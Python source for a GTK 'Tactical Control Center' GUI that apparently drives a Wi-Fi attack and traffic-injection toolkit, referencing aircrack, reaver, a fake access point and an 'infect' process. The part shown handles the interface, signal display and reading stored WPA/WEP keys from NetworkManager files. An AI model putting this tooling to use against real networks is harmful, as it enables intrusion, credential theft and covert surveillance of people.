#!/usr/bin/env python

from gi.repository import Gtk, GObject, GLib, Gdk, Vte
import pyinotify
import getopt
import sys
import os
import subprocess
import threading
import string
import re
import time
import pipes
from datetime import datetime
from struct import *
from socket import *

class TccConfig (object):
    controlset = None
    started = False
    started_exit = False
    started_exit2 = False
    started_ni = False
    started_ap = False
    started_type = None
    started_firewire = False
    started_newconf = False
    upgradestate = None
    ni_iface = None
    ni_ifaceip = None
    ni_lock = threading.Lock()
    firewire_recovery = False
    firewiretimeout = None
    auto_startup = False
    waitconf = False
    listclear = False
    reauth_status = False
    infect_status = False
    deinfect_status = True 
    fap_n = 0
    wpa = False
    ngrep_started = False
    ngrep_sreboot = False
    ngrep_snif = None
    ngrep_type = None
    clearselect = False
    pulsefire = True
    status = "stopped"
    key = None
    interfaces = None
    networks = None
    attacks = None
    workingdir = '/opt/td-config/run/'
    wordlist_path = '/opt/td-config/share/wordlist'
    wordlist_path_orig = '/opt/td-config/share/wordlist'
    icombo = None
    ibutton = None
    ncombo = None
    nbutton = None
    acombo = None
    abutton = None
    progress = None
    text = None
    label = None
    internetiface = None
    internetip = None
    routeip = None
    modem3g = False
    modem3gconf = None
    modem3gip = None
    wirelessiface = None
    wirelessiface2 = None
    fakeap_started = False
    fakeap_stop = True
    RCS_pid = None
    aircrack_pid = None
    besside_pid = None
    airtun_pid = None
    names_pid = None
    links_pid = None
    clients_pid = None
    infect_pid = None
    ngrep_pid = None
    airbase_pid = None
    dnsmasq_pid = None
    incept_pid = None
    reaver_pid = None
    mymodel = None
    myrows = None
    wiatiface = None
    wiatbssid = None
    wiatfreq = None
    ni_running = False
    ni2_running = False
    wi_running = False
    fa_running = False
    py_running = False
    reboot_order = False
    disable_snifcard = None
    htcomand = None
    netsig = 0
    snisig = 0
    wirsig = 0
    attackerror = False
    attackreboot = False
    sdiface = None
    ssh_begin = False
    ssh_start = False 
    rdp_begin = False
    rdp_start = False
    vnc_begin = False
    vnc_start = False
 
    def child_pid(self, pid):
	time.sleep(1)
        proc = subprocess.Popen('ps -o pid,ppid ax | grep "%d"' % pid, shell=True, stdout=subprocess.PIPE)
        pidppid = [x.split() for x in proc.communicate()[0].split("\n") if x]
    
	try:
	    lpid = list(int(p) for p, pp in pidppid if int(pp) == pid)[0]
	    pass
	except:
	    lpid = None
	    pass

	return lpid

    def do_gui(self, function, *args, **kw):
        def idle_func():
            Gdk.threads_enter()
            try:
                while Gtk.events_pending():
                    Gtk.main_iteration()
                function(*args, **kw)
                return False
            finally:
                Gdk.threads_leave()
        GObject.idle_add(idle_func, priority=GObject.PRIORITY_DEFAULT)

    def getmylocaltime(self):
        year, mon, mday, hour, mmin, sec = map(str, time.localtime()[:6])

	if len(str(mon)) == 1:
	    mon2 = '0' + str(mon)	
	else:
	    mon2 = str(mon)

	if len(str(mday)) == 1:
	    mday2 = '0' + str(mday)
	else:
	    mday2 = str(mday)

	if len(str(hour)) == 1:
	    hour2 = '0' + str(hour)
	else:
	    hour2 = str(hour)

	if len(str(mmin)) == 1:
	    mmin2 = '0' + str(mmin)
	else:
	    mmin2 = str(mmin)

	if len(str(sec)) == 1:
	    sec2 = '0' + str(sec)
	else:
	    sec2 = str(sec)

        if mon2 == '01':
	    mon2 = 'Gen'
	elif mon2 == '02':
	    mon2 = 'Feb'
	elif mon2 == '03':
	    mon2 = 'Mar'
	elif mon2 == '04':
	    mon2 = 'Apr'
	elif mon2 == '05':
	    mon2 = 'May'
	elif mon2 == '06':
	    mon2 = 'Jun'
	elif mon2 == '07':
	    mon2 = 'Jul'
	elif mon2 == '08':
	    mon2 = 'Aug'
	elif mon2 == '09':
	    mon2 = 'Sep'
	elif mon2 == '10':
	    mon2 = 'Oct'
	elif mon2 == '11':
	    mon2 = 'Nov'
	elif mon2 == '12':
	    mon2 = 'Dec'

	return mon2 + ' ' + mday2 + ' ' + hour2 + ':' + mmin2 + ':' + sec2

    def getlocaltime(self):
        year, mon, mday, hour, mmin, sec = map(str, time.localtime()[:6])

        if len(str(mon)) == 1:
            mon2 = '0' + str(mon)
        else:
            mon2 = str(mon)

        if len(str(mday)) == 1:
            mday2 = '0' + str(mday)
        else:
            mday2 = str(mday)

        if len(str(hour)) == 1:
            hour2 = '0' + str(hour)
        else:
            hour2 = str(hour)

        if len(str(mmin)) == 1:
            mmin2 = '0' + str(mmin)
        else:
            mmin2 = str(mmin)

        if len(str(sec)) == 1:
            sec2 = '0' + str(sec)
        else:
            sec2 = str(sec)

        if mon2 == '01':
            mon2 = 'Gen'
        elif mon2 == '02':
            mon2 = 'Feb'
        elif mon2 == '03':
            mon2 = 'Mar'
        elif mon2 == '04':
            mon2 = 'Apr'
        elif mon2 == '05':
            mon2 = 'May'
        elif mon2 == '06':
            mon2 = 'Jun'
        elif mon2 == '07':
            mon2 = 'Jul'
        elif mon2 == '08':
            mon2 = 'Aug'
        elif mon2 == '09':
            mon2 = 'Sep'
        elif mon2 == '10':
            mon2 = 'Oct'
        elif mon2 == '11':
            mon2 = 'Nov'
        elif mon2 == '12':
            mon2 = 'Dec'

        return mon2 + '_' + mday2 + '__' + hour2 + '_' + mmin2 + '_' + sec2

    def mydifftime(self, thetime):
	year, mon, mday, hour, mmin, sec = map(str, time.localtime()[:6])
	curtime = year + '-' + mon + '-' + mday + ' ' + hour + ':' + mmin + ':' + sec
	oldtime = year + '-' + mon + '-' + mday + ' ' + thetime 

	fmt = '%Y-%m-%d %H:%M:%S'
	d1 = datetime.strptime(oldtime, fmt)
	d2 = datetime.strptime(curtime, fmt)
	d = d2 - d1
	diffmin = divmod(d.days * 86200 + d.seconds, 60)[0]
	
	return diffmin

    def wifisignal(self, *args):
	if self.builder.get_object("comboboxtext1").get_active_text() == None:
	    self.do_gui(self.builder.get_object("label22").set_label, "")
            self.do_gui(self.builder.get_object("label23").set_label, "")
	else:
	    siface = self.ifacelist[self.builder.get_object("comboboxtext1").get_active_text().split()[0]]
            if self.builder.get_object("comboboxtext2").get_active_text() == "Use the same interface": snif = siface
            else: 
		try:
		    snif = self.ifacelist[self.builder.get_object("comboboxtext2").get_active_text().split()[0]]
		except:
		    snif = siface

	    if siface['type'] != 'wireless' or (self.fakeap_started == True and siface['dev'] == self.wirelessiface):
		self.do_gui(self.builder.get_object("label22").set_label, "")
		self.do_gui(self.builder.get_object("label23").set_label, "")
	    else:
		netiface = siface['dev']
		netifacebssid = None 
		netifacefreq = None
		netifacesig = 0
		snififace = snif['dev']
		snififacesig = 0

		for m in re.finditer(r'-\W+Device:\W+(?P<iface>[\w]+)\W+(?:\[(?P<profile>.+?)\])?\W?-+\n' +
                             r'\W+Type:\W+(?P<type>.+?)\n' +
                             r'\W+Driver:\W+(?:.+?)\n' +
                             r'\W+State:\W+(?P<state>.+?)\n' +
                             r'(?P<stuff>.+?)\n\n\n',
                             subprocess.check_output('nm-tool'), re.S):

	            m = m.groupdict()
                    if m['type'] not in ('802.11 WiFi'): continue

		    try:
                        s = re.search(r'^\W+\*(?P<essid>.+?):\W*?' +
                                      r'Infra, (?P<bssid>..:..:..:..:..:..), ' +
                                      r'Freq (?P<freq>.+?) MHz, ' +
                                      r'Rate (?:\d+) Mb/s, ' +
                                      r'Strength (?P<strength>.+?) ' +
                                      r'(?P<flags>.*)$',
                                      m['stuff'], re.M)
		    except:
			return True

                    if s: s = s.groupdict()
                    else: 
			try:
                            s = re.search(r'^\W+\*(?P<essid>.+?):\W*?' +
                                          r'Infra, (?P<bssid>..:..:..:..:..:..), ' +
                                          r'Freq (?P<freq>.+?) MHz, ' +
                                          r'Rate (?:\d+) Mb/s, ' +
                                          r'Strength (?P<strength>.+?)$',
                                          m['stuff'], re.M)
                        except:
                            return True

			if s: s = s.groupdict()
			else: continue

		    if netiface == m['iface']:
		        netifacesig = int(s['strength'])
			netifacebssid = s['bssid']
			netifacefreq = s['freq']
			break 
		    else:
			continue

		if netiface != snififace:
		    for m in re.finditer(r'-\W+Device:\W+(?P<iface>[\w]+)\W+(?:\[(?P<profile>.+?)\])?\W?-+\n' +
                             r'\W+Type:\W+(?P<type>.+?)\n' +
                             r'\W+Driver:\W+(?:.+?)\n' +
                             r'\W+State:\W+(?P<state>.+?)\n' +
                             r'(?P<stuff>.+?)\n\n\n',
                             subprocess.check_output('nm-tool'), re.S):

                        m = m.groupdict()
                        if m['type'] not in ('802.11 WiFi'): continue

			try:
                            s = re.search(r'^\W+(?P<essid>.+?):\W*?' +
                                          r'Infra, ' + netifacebssid + ', ' +
                                          r'Freq ' + netifacefreq + ' MHz, ' +
                                          r'Rate (?:\d+) Mb/s, ' +
                                          r'Strength (?P<strength>.+?) ' +
                                          r'(?P<flags>.*)$',
                                          m['stuff'], re.M)
			except:
			    return True

                        if s: s = s.groupdict()
                        else:
			    try:
                                s = re.search(r'^\W+(?P<essid>.+?):\W*?' +
                                              r'Infra, ' + netifacebssid + ', ' +
                                              r'Freq ' + netifacefreq + ' MHz, ' +
                                              r'Rate (?:\d+) Mb/s, ' +
                                              r'Strength (?P<strength>.+?)$',
                                              m['stuff'], re.M)
                            except:
                                return True

			    if s: s = s.groupdict()
                            else: continue

                        if snififace == m['iface']:
                            snififacesig = int(s['strength'])
			    break
                        else:
                            continue

		self.netsig = netifacesig
		self.snisig = snififacesig

	        if netiface == snififace:
		    self.do_gui(self.builder.get_object("label23").set_label, "")

		    if netifacesig == 0:
			self.do_gui(self.builder.get_object("label22").set_label, "")
		    elif netifacesig < 10:
			self.do_gui(self.builder.get_object("label22").set_label, 'Signal:   ' + str(netifacesig) + '%')
		    elif netifacesig < 100:
			self.do_gui(self.builder.get_object("label22").set_label, 'Signal:  ' + str(netifacesig) + '%')
		    else:
		        self.do_gui(self.builder.get_object("label22").set_label, 'Signal: ' + str(netifacesig) + '%')
		else:
		    if netifacesig == 0:
			self.do_gui(self.builder.get_object("label22").set_label, "") 
		    elif netifacesig < 10:
                        self.do_gui(self.builder.get_object("label22").set_label, 'Signal:   ' + str(netifacesig) + '%')
                    elif netifacesig < 100:
                        self.do_gui(self.builder.get_object("label22").set_label, 'Signal:  ' + str(netifacesig) + '%')
                    else:
                        self.do_gui(self.builder.get_object("label22").set_label, 'Signal: ' + str(netifacesig) + '%')

		    if snififacesig == 0:
		        self.do_gui(self.builder.get_object("label23").set_label, "")
		    elif snififacesig < 10:
		        self.do_gui(self.builder.get_object("label23").set_label, 'Signal:   ' + str(snififacesig) + '%')
		    elif snififacesig < 100:
		        self.do_gui(self.builder.get_object("label23").set_label, 'Signal:  ' + str(snififacesig) + '%')
		    else:
                        self.do_gui(self.builder.get_object("label23").set_label, 'Signal: ' + str(snififacesig) + '%')

	return True

    def wifisignal2(self, *args):
        if self.builder.get_object("comboboxtext4").get_active_text() == None:
            self.do_gui(self.builder.get_object("label28").set_label, "")
        elif self.wiatiface == None or self.wiatbssid == None or self.wiatfreq == None:
	    self.do_gui(self.builder.get_object("label28").set_label, "")
	else:
	    wisig = 0

	    for m in re.finditer(r'-\W+Device:\W+(?P<iface>[\w]+)\W+(?:\[(?P<profile>.+?)\])?\W?-+\n' +
                             r'\W+Type:\W+(?P<type>.+?)\n' +
                             r'\W+Driver:\W+(?:.+?)\n' +
                             r'\W+State:\W+(?P<state>.+?)\n' +
                             r'(?P<stuff>.+?)\n\n\n',
                             subprocess.check_output('nm-tool'), re.S):

                m = m.groupdict()
                if m['type'] not in ('802.11 WiFi'): continue

		try:
                    s = re.search(r'^\W+(?P<essid>.+?):\W*?' +
                                  r'Infra, ' + self.wiatbssid + ', ' +
                                  r'Freq ' + self.wiatfreq + ' MHz, ' +
                                  r'Rate (?:\d+) Mb/s, ' +
                                  r'Strength (?P<strength>.+?) ' +
                                  r'(?P<flags>.*)$',
                                  m['stuff'], re.M)
		except:
		    return True

                if s: s = s.groupdict()
                else: 
		    try:
                        s = re.search(r'^\W+(?P<essid>.+?):\W*?' +
                                      r'Infra, ' + self.wiatbssid + ', ' +
                                      r'Freq ' + self.wiatfreq + ' MHz, ' +
                                      r'Rate (?:\d+) Mb/s, ' +
                                      r'Strength (?P<strength>.+?)$',
                                      m['stuff'], re.M)
                    except:
                        return True

		    if s: s = s.groupdict()
                    else: continue

                if self.wiatiface == m['iface']:
                    wisig = int(s['strength'])
                    break
                else:
                    continue

	    self.wirsig = wisig

	    if wisig == 0:
		self.do_gui(self.builder.get_object("label28").set_label, "")
	    elif wisig < 10:
	        self.do_gui(self.builder.get_object("label28").set_label, 'Signal:   ' + str(wisig) + '%')
	    elif wisig < 100:
		self.do_gui(self.builder.get_object("label28").set_label, 'Signal:  ' + str(wisig) + '%')
	    else:
		self.do_gui(self.builder.get_object("label28").set_label, 'Signal: ' + str(wisig) + '%')

	return True

    def getinterfacelist(self):
        ifacelist = {}
        iface = {}

        for m in re.finditer(r'-\W+Device:\W+(?P<iface>[\w]+)\W+(?:\[(?P<profile>.+?)\])?\W?-+\n' +
                             r'\W+Type:\W+(?P<type>.+?)\n' +
                             r'\W+Driver:\W+(?:.+?)\n' +
                             r'\W+State:\W+(?P<state>.+?)\n' +
                             r'(?P<stuff>.+?)\n\n\n',
                             subprocess.check_output('nm-tool'), re.S):

           m = m.groupdict()
           if m['type'] not in ('Wired', '802.11 WiFi'): continue

           iface['dev'] = m['iface']
           iface['type'] = 'wired' if m['type'] == 'Wired' else 'wireless'
           iface['connected'] = True if m['state'] == 'connected' else False

	   if iface['connected'] == False:
	      iface['connected'] = True if m['state'] == 'unmanaged' and m['type'] == 'Wired' else False

           if iface['connected'] and (iface['type'] == 'wireless'):
              s = re.search(r'^\W+\*(?P<essid>.+?):\W*?' +
                            r'Infra, (?P<bssid>..:..:..:..:..:..), ' +
                            r'Freq (?P<freq>.+?) MHz, ' +
                            r'Rate (?:\d+) Mb/s, ' +
                            r'Strength (?:\d+) ?' +
                            r'(?P<flags>.*)$',
                            m['stuff'], re.M)

              if s: s = s.groupdict()
              else: continue

              iface['conninfo'] = {}
              iface['conninfo']['essid'] = s['essid']
              iface['conninfo']['bssid'] = s['bssid']
	      iface['conninfo']['freq'] = int(s['freq'])

	      if int(s['freq']) >= 5000:
		  iface['conninfo']['chan'] = ((int(s['freq']) - 5000) / 5)
	      else:
                  iface['conninfo']['chan'] = ((int(s['freq']) - 2412) / 5) + 1

              iface['conninfo']['encr'] = 'WPA' if s['flags'].startswith('WPA') else 'WEP' if s['flags'].startswith('WEP') else None

              if iface['conninfo']['encr'] == 'WPA':
                 for line in open('/etc/NetworkManager/system-connections/' + m['profile']).readlines():
                    if line.startswith('psk='): iface['conninfo']['key'] = line[4:].rstrip()
                    else: continue
              elif iface['conninfo']['encr'] == 'WEP':
                 for line in open('/etc/NetworkManager/system-connections/' + m['profile']).readlines():
                    if line.startswith('wep-key0='): iface['conninfo']['key'] = line[9:].rstrip()
                    else: continue
                 if len(iface['conninfo']['key']) == 5 or len(iface['conninfo']['key']) == 13: 
                    iface['conninfo']['key'] = ''.join(["%02X" % ord(x) for x in iface['conninfo']['key']])
                 
           ifacelist[m['iface']] = iface.copy()

        return ifacelist

    def getinterfacelist2(self):
        ifacelist = {}
        iface = {}

        for m in re.finditer(r'-\W+Device:\W+(?P<iface>[\w]+)\W+(?:\[(?P<profile>.+?)\])?\W?-+\n' +
                             r'\W+Type:\W+(?P<type>.+?)\n' +
                             r'\W+Driver:\W+(?:.+?)\n' +
                             r'\W+State:\W+(?P<state>.+?)\n' +
                             r'(?P<stuff>.+?)\n\n\n',
                             subprocess.check_output('nm-tool'), re.S):

           m = m.groupdict()
           if m['type'] not in ('Wired', '802.11 WiFi', 'Mobile Broadband (GSM)'): continue

           iface['dev'] = m['iface']

           if m['type'] == 'Wired':
               iface['type'] = 'wired'
           elif m['type'] == '802.11 WiFi':
               iface['type'] = 'wireless'
           else:
               iface['type'] = 'mobile'

           iface['connected'] = True if m['state'] == 'connected' else False

           if iface['connected'] == False:
              iface['connected'] = True if m['state'] == 'unmanaged' and m['type'] == 'Wired' else False

           if iface['connected'] and (iface['type'] == 'wireless'):
              s = re.search(r'^\W+\*(?P<essid>.+?):\W*?' +
                            r'Infra, (?P<bssid>..:..:..:..:..:..), ' +
                            r'Freq (?P<freq>.+?) MHz, ' +
                            r'Rate (?:\d+) Mb/s, ' +
                            r'Strength (?:\d+) ?' +
                            r'(?P<flags>.*)$',
                            m['stuff'], re.M)

              if s: s = s.groupdict()
              else: continue

              iface['conninfo'] = {}
              iface['conninfo']['essid'] = s['essid']
              iface['conninfo']['bssid'] = s['bssid']
	      iface['conninfo']['freq'] = int(s['freq'])

	      if int(s['freq']) >= 5000:
                  iface['conninfo']['chan'] = ((int(s['freq']) - 5000) / 5)
              else:
                  iface['conninfo']['chan'] = ((int(s['freq']) - 2412) / 5) + 1

              iface['conninfo']['encr'] = 'WPA' if s['flags'].startswith('WPA') else 'WEP' if s['flags'].startswith('WEP') else None

              if iface['conninfo']['encr'] == 'WPA':
                 for line in open('/etc/NetworkManager/system-connections/' + m['profile']).readlines():
                    if line.startswith('psk='): iface['conninfo']['key'] = line[4:].rstrip()
                    else: continue
              elif iface['conninfo']['encr'] == 'WEP':
                 for line in open('/etc/NetworkManager/system-connections/' + m['profile']).readlines():
                    if line.startswith('wep-key0='): iface['conninfo']['key'] = line[9:].rstrip()
                    else: continue
                 if len(iface['conninfo']['key']) == 5 or len(iface['conninfo']['key']) == 13:
                    iface['conninfo']['key'] = ''.join(["%02X" % ord(x) for x in iface['conninfo']['key']])

           ifacelist[m['iface']] = iface.copy()

        return ifacelist

    def getinterfacelist3(self):
        ifacelist = {}
        iface = {}

        for m in re.finditer(r'-\W+Device:\W+(?P<iface>[\w]+)\W+(?:\[(?P<profile>.+?)\])?\W?-+\n' +
                             r'\W+Type:\W+(?P<type>.+?)\n' +
                             r'\W+Driver:\W+(?:.+?)\n' +
                             r'\W+State:\W+(?P<state>.+?)\n' +
                             r'(?P<stuff>.+?)\n\n\n',
                             subprocess.check_output('nm-tool'), re.S):

           m = m.groupdict()
           if m['type'] not in ('Mobile Broadband (GSM)'): continue

           iface['dev'] = m['iface']
           iface['profile'] = m['profile']
           iface['type'] = 'mobile'

           iface['connected'] = True if m['state'] == 'connected' else False

           if iface['connected'] == False:
              iface['connected'] = True if m['state'] == 'unmanaged' else False

           ifacelist[m['iface']] = iface.copy()

        return ifacelist

    def help(self):
        print "Usage: "
        print "  -c, --control <tactical | appliance>    Sets the Control Center"
        print "  -h, --help                              Show this help"
        sys.exit(0)

    def __init__(self):
        os.chdir('/opt/td-config/scripts/');
        self.builder = Gtk.Builder()
        self.builder.add_from_file("tcc-config.glade")
        self.builder.connect_signals(self)

	if os.getuid() != 0:
            print "Can't initialize: Permission denied (you must be root)"
            sys.exit(0)

        try:
            opts, args = getopt.getopt(sys.argv[1:], "c:u:h", ["control=", "upgrade=", "help"])
        except:
            self.help()

        for o, a in opts:
            if o in ("-c", "--control"):
                if a == 'tactical':
                    self.controlset = 'tactical'
                elif a == 'appliance':
                    self.controlset = 'appliance'
                else:
                    self.help()
	    elif o in ("-u", "--upgrade"):
		if a == 'true':
		    self.upgradestate = True
		elif a == 'false':
		    self.upgradestate = False
		else:
		    self.help()
            else:
                self.help()

        if self.controlset == None:
            self.help()

	self.ssh_begin = True

	try:
	    if subprocess.check_output("ps ax | grep -i 'sshd -D' | grep -v grep", shell=True).strip() != '0':
		self.ssh_start = True

		if self.controlset == 'tactical':
		    self.builder.get_object("checkbutton2").set_active(True)
		else:
		    self.builder.get_object("checkbutton5").set_active(True)
	    else:
		self.ssh_start = False

		if self.controlset == 'tactical':
                    self.builder.get_object("checkbutton2").set_active(False) 
                else:
                    self.builder.get_object("checkbutton5").set_active(False)
	except:
	    self.ssh_start = False
	    
	    if self.controlset == 'tactical':
                self.builder.get_object("checkbutton2").set_active(False)
            else:
                self.builder.get_object("checkbutton5").set_active(False)

	self.ssh_begin = False

        self.rdp_begin = True

        try:
            if subprocess.check_output("ps ax | grep -i xrdp-sesman | grep -v grep", shell=True).strip() != '0':
                self.rdp_start = True

                if self.controlset == 'tactical':
                    self.builder.get_object("checkbutton3").set_active(True)
                else:
                    self.builder.get_object("checkbutton6").set_active(True)
            else:
                self.rdp_start = False

                if self.controlset == 'tactical':
                    self.builder.get_object("checkbutton3").set_active(False)
                else:
                    self.builder.get_object("checkbutton6").set_active(False)
        except:
            self.rdp_start = False

            if self.controlset == 'tactical':
                self.builder.get_object("checkbutton3").set_active(False)
            else:
                self.builder.get_object("checkbutton6").set_active(False)

        self.rdp_begin = False

	self.vnc_begin = True

        try:
            if subprocess.check_output("ps ax | grep -i x11vnc | grep -v grep", shell=True).strip() != '0':
                self.vnc_start = True

                if self.controlset == 'tactical':
                    self.builder.get_object("checkbutton4").set_active(True)
                else:
                    self.builder.get_object("checkbutton7").set_active(True)
            else:
                self.vnc_start = False

                if self.controlset == 'tactical':
                    self.builder.get_object("checkbutton4").set_active(False)
                else:
                    self.builder.get_object("checkbutton7").set_active(False)
        except:
            self.vnc_start = False

            if self.controlset == 'tactical':
                self.builder.get_object("checkbutton4").set_active(False)
            else:
                self.builder.get_object("checkbutton7").set_active(False)

        self.vnc_begin = False

	try:
	    if self.controlset == 'appliance' and subprocess.check_output("ps ax | grep -i RCSRedirect | grep -v grep", shell=True).strip() != '0':
		self.started = True
	        pass
	    else:
	        subprocess.call("rm f /opt/td-config/run/logsystem 2> /dev/null", shell=True)
                f = open('/opt/td-config/run/logsystem', 'a')
                f.close()

		if self.controlset == 'tactical':
                    subprocess.call('echo "{} Start of Tactical Control Center." >> /opt/td-config/run/logsystem'.format(self.getmylocaltime()), shell=True)
                else:
                    subprocess.call('echo "{} Start of Appliance Control Center." >> /opt/td-config/run/logsystem'.format(self.getmylocaltime()), shell=True)
	except:
	    subprocess.call("rm f /opt/td-config/run/logsystem 2> /dev/null", shell=True)
            f = open('/opt/td-config/run/logsystem', 'a')
            f.close()

	    if self.controlset == 'tactical':
	        subprocess.call('echo "{} Start of Tactical Control Center." >> /opt/td-config/run/logsystem'.format(self.getmylocaltime()), shell=True)
	    else:
	        subprocess.call('echo "{} Start of Appliance Control Center." >> /opt/td-config/run/logsystem'.format(self.getmylocaltime()), shell=True)

    def run(self, *args):
	if self.controlset == 'tactical':
	    subprocess.call('killall -SIGKILL incept 2> /dev/null', shell=True)
            subprocess.call("for i in `ps aux | grep incept | grep -v grep | awk '{{print $2}}'`; do kill -KILL $i; done", shell=True)

	self.window = self.builder.get_object("window1")

	theversion = None

	if os.path.exists("/opt/td-config/VERSION") == True:
	    try:
		theversion = subprocess.check_output("cat /opt/td-config/VERSION | awk '{{print $1}}'", shell=True)[:-1]
	    except:
		pass

	if self.controlset == 'tactical':
	    if theversion != None:
                self.window.set_title('Tactical Control Center ' + theversion)
	    else:
	        self.window.set_title('Tactical Control Center')
	    self.window.set_default_size(1000, 650)
	else:
	    if theversion != None:
                self.window.set_title('Appliance Control Center ' + theversion)
	    else:
	        self.window.set_title('Appliance Control Center')
            self.window.set_default_size(850, 200)

	self.notebook = self.builder.get_object("notebook1")

	if self.controlset == 'tactical':
	    self.notebook.remove_page(1)
	    self.notebook.remove_page(5)
	    pass
	else:
	    self.notebook.remove_page(0)
	    self.notebook.remove_page(1)
	    self.notebook.remove_page(1)
	    self.notebook.remove_page(1)
	    self.notebook.remove_page(1)
	
	if self.controlset == 'tactical':
 	    self.window.maximize()

	self.window.show_all()

	if self.controlset == 'appliance':
	    try:
	        if subprocess.check_output("ps ax | grep -i RCSRedirect | grep -v grep", shell=True).strip() != '0':
                    niface1 = subprocess.check_output("cat /opt/td-config/share/rcsredirect.conf | grep -i 'sniffing_iface = '", shell=True)
            	    niface2 = subprocess.check_output("cat /opt/td-config/share/rcsredirect.conf | grep -i 'response_iface = '", shell=True)
	    	    nindex1 = string.find(niface1, ' = "')
	    	    nindex2 = string.find(niface2, ' = "')
	    	    niface1 = niface1[nindex1 + 4:-2]
	    	    niface2 = niface2[nindex2 + 4:-2]

	    	    self.builder.get_object("comboboxtext8").prepend_text(niface2 + ' (Cable connected)')

	    	    if niface1 == niface2:
		        self.builder.get_object("comboboxtext9").prepend_text("Use the same interface")
	    	    else:
			if niface1 == 'dag0':
			    self.builder.get_object("comboboxtext9").prepend_text(niface1 + ' (Internal DAG Endace device)')
			else:
	                    self.builder.get_object("comboboxtext9").prepend_text(niface1 + ' (Internal Ethernet device)')

		    self.builder.get_object("comboboxtext8").set_active(0)
		    self.builder.get_object("comboboxtext9").set_active(0)
		else:
		    self.ifacelist = self.getinterfacelist()
                    for iface, value in self.ifacelist.items():
                        if not value['connected']: continue
                        if self.controlset == 'tactical':
                            entry = iface + ' (' + ('Cable connected' if value['type'] == 'wired' else 'Connected to ' + value['conninfo']['essid'] + ') + 3G modem (Connected to ' + self.modem3gconf['profile'] if self.modem3g == True else 'Connected to ' + value['conninfo']['essid']) + ')'
                            self.builder.get_object("comboboxtext1").prepend_text(entry)
                        else:
                            if value['type'] != 'wired':
                                continue
                            else:
                                entry = iface + ' (Cable connected)'
                                self.builder.get_object("comboboxtext8").prepend_text(entry)
	    except:
	        self.ifacelist = self.getinterfacelist()
                for iface, value in self.ifacelist.items():
                    if not value['connected']: continue
                    if self.controlset == 'tactical':
                        entry = iface + ' (' + ('Cable connected' if value['type'] == 'wired' else 'Connected to ' + value['conninfo']['essid'] + ') + 3G modem (Connected to ' + self.modem3gconf['profile'] if self.modem3g == True else 'Connected to ' + value['conninfo']['essid']) + ')' 
                        self.builder.get_object("comboboxtext1").prepend_text(entry)
                    else:
                        if value['type'] != 'wired':
                            continue
                        else:
                            entry = iface + ' (Cable connected)'
                            self.builder.get_object("comboboxtext8").prepend_text(entry)
	else:
           self.ifacelist = self.getinterfacelist()
           for iface, value in self.ifacelist.items():
               if not value['connected']: continue
	       if self.controlset == 'tactical':
		   if self.modem3g == True:
			entry = iface + ' (' + ('Cable connected) + 3G modem (Connected to ' + self.modem3gconf['profile'] if value['type'] == 'wired' else 'Connected to ' + value['conninfo']['essid'] + ') + 3G modem (Connected to ' + self.modem3gconf['profile']) + ')'
		   else:
                       entry = iface + ' (' + ('Cable connected' if value['type'] == 'wired' else 'Connected to ' + value['conninfo']['essid']) + ')' 
	           self.builder.get_object("comboboxtext1").prepend_text(entry)
	       else:
	           if value['type'] != 'wired': 
	               continue
	           else:
		       entry = iface + ' (Cable connected)'
                       self.builder.get_object("comboboxtext8").prepend_text(entry)

	if self.controlset == 'tactical':
            self.builder.get_object("comboboxtext1").set_active(0)

	    if self.builder.get_object("comboboxtext1").get_active_text() == None:
	        self.builder.get_object("comboboxtext1").set_sensitive(False)
		self.builder.get_object("comboboxtext2").set_sensitive(False)
		self.builder.get_object("button1").set_sensitive(False)
		self.builder.get_object("button21").set_sensitive(False)
		self.builder.get_object("label22").set_sensitive(False)
		self.builder.get_object("label23").set_sensitive(False)
	else:
	    self.builder.get_object("comboboxtext8").set_active(0)

	    if self.builder.get_object("comboboxtext8").get_active_text() == None:
	        self.builder.get_object("comboboxtext8").set_sensitive(False)
                self.builder.get_object("comboboxtext9").set_sensitive(False)
		self.builder.get_object("checkbutton1").set_sensitive(False)
                self.builder.get_object("button18").set_sensitive(False)
		self.builder.get_object("button23").set_sensitive(False)
                self.builder.get_object("entry3").set_sensitive(False)

	if self.controlset == 'appliance':
	    try:
		f = open('/opt/td-config/share/redirect_fqdn.txt', 'r')
		proxy_ipaddr = f.read()
		f.close()
		proxy_ipaddr = proxy_ipaddr[11:-1]
		self.builder.get_object("entry3").set_text(proxy_ipaddr) 
	    except:
	        pass

	    try:
		if subprocess.check_output("ls -l /etc/rc?.d/ | grep -i nia | wc -l", shell=True).strip() != '0':
		    self.builder.get_object("checkbutton1").set_active(True)
		    self.auto_startup = True

	        if subprocess.check_output("ps ax | grep -i RCSRedirect | grep -v grep", shell=True).strip() != '0':
		    self.builder.get_object("grid4").set_sensitive(True)
           	    self.builder.get_object("buttonbox6").set_sensitive(True)
           	    self.builder.get_object("button18").set_sensitive(True)
		    self.builder.get_object("button23").set_sensitive(False)
           	    self.builder.get_object("button16").set_sensitive(False)
           	    self.builder.get_object("label19").set_sensitive(False)
           	    self.builder.get_object("comboboxtext8").set_sensitive(False)
           	    self.builder.get_object("comboboxtext9").set_sensitive(False)
           	    self.builder.get_object("checkbutton1").set_sensitive(False)
           	    self.builder.get_object("button16").set_sensitive(False)
           	    self.builder.get_object("label20").set_sensitive(False)
           	    self.builder.get_object("label30").set_sensitive(False)
           	    self.builder.get_object("entry3").set_sensitive(False)
           	    self.builder.get_object("label21").set_label("")
           	    self.builder.get_object("label47").set_label("")
           	    self.builder.get_object("button18").set_label("Stop")
		    self.started_ni = True
		    self.started = True
	    except:
		pass

        self.nentry1 = self.builder.get_object("entry1")
        self.nentry2 = self.builder.get_object("entry2")
        self.nbutton2 = self.builder.get_object("button6")

        self.regex = self.nentry1.get_text()
        self.bpf = self.nentry2.get_text()

        self.renderer1 = Gtk.CellRendererPixbuf()
        self.column1 = Gtk.TreeViewColumn('Status', self.renderer1, pixbuf = 0)

        self.renderer4 = Gtk.CellRendererText()
        self.column4 = Gtk.TreeViewColumn('HW address', self.renderer4, text = 1)

	self.renderer5 = Gtk.CellRendererText()
        self.column5 = Gtk.TreeViewColumn('IP address', self.renderer5, text = 2)

        self.renderer6 = Gtk.CellRendererText()
        self.column6 = Gtk.TreeViewColumn('Vendor', self.renderer6, text = 3)

        self.renderer7 = Gtk.CellRendererText()
        self.column7 = Gtk.TreeViewColumn('Hostname', self.renderer7, text = 4)

	self.renderer12 = Gtk.CellRendererText()
	self.column12 = Gtk.TreeViewColumn('OS', self.renderer12, text = 5)

	self.renderer13 = Gtk.CellRendererText()
	self.column13 = Gtk.TreeViewColumn('Browser', self.renderer13, text = 6)

